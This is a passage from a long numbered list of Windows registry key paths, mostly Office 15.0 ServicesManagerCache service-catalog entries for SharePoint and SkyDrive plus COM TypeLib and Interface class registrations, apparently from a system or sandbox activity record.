  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1662. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B",
  1663. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0",
  1664. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\(Default)",
  1665. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\FLAGS",
  1666. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\FLAGS\\(Default)",
  1667. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\0",
  1668. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\0\\win32",
  1669. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\0\\win32\\(Default)",
  1670. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\HELPDIR",
  1671. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\HELPDIR\\(Default)",
  1672. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Wow6432Node\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB\\(Default)",
  1673. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0",
  1674. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\(Default)",
  1675. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\FLAGS",
  1676. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\FLAGS\\(Default)",
  1677. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\0",
  1678. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\0\\win32",
  1679. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\0\\win32\\(Default)",
  1680. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\HELPDIR",
  1681. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\129DEBE6-F481-4222-94F2-ECECCCCA0E4B\\2.0\\HELPDIR\\(Default)",
  1682. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB",
  1683. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB\\(Default)",
  1684. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB",
  1685. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\BEF6E003-A874-101A-8BBA-00AA00300CAB\\(Default)",
  1686. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69",
  1687. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69\\(Default)",
  1688. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69",
  1689. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\EC72F590-F375-11CE-B9E8-00AA006B1A69\\(Default)",
  1690. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074",
  1691. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074\\(Default)",
  1692. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074",
  1693. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02370-B5BC-11CF-810F-00A0C9030074\\(Default)",
  1694. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074",
  1695. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074\\(Default)",
  1696. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074",
  1697. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02371-B5BC-11CF-810F-00A0C9030074\\(Default)",
  1698. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074",
  1699. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074\\(Default)",
  1700. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074",
  1701. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\82B02372-B5BC-11CF-810F-00A0C9030074\\(Default)",
  1702. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074",
  1703. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074\\(Default)",
  1704. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074",
  1705. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C90-BA84-11CF-8110-00A0C9030074\\(Default)",
  1706. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074",
  1707. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074\\(Default)",
  1708. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074",
  1709. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8A683C91-BA84-11CF-8110-00A0C9030074\\(Default)",
  1710. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF",
  1711. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1712. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF",
  1713. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC6-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1714. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF",
  1715. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1716. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF",
  1717. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC7-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1718. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01",
  1719. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01\\(Default)",
  1720. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01",
  1721. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\29B86A70-F52E-11CE-9BCE-00AA00608E01\\(Default)",
  1722. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF",
  1723. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1724. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF",
  1725. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC8-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1726. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29",
  1727. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29\\(Default)",
  1728. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29",
  1729. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\9A4BBF53-4E46-101B-8BBD-00AA003E3B29\\(Default)",
  1730. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B",
  1731. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B\\(Default)",
  1732. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B",
  1733. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5B9D8FC8-4A71-101B-97A6-00000B65C08B\\(Default)",
  1734. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01",
  1735. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01\\(Default)",
  1736. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01",
  1737. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\CF3F94A0-F546-11CE-9BCE-00AA00608E01\\(Default)",
  1738. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF",
  1739. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1740. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF",
  1741. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC1-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1742. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF",
  1743. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1744. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF",
  1745. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC4-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1746. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3",
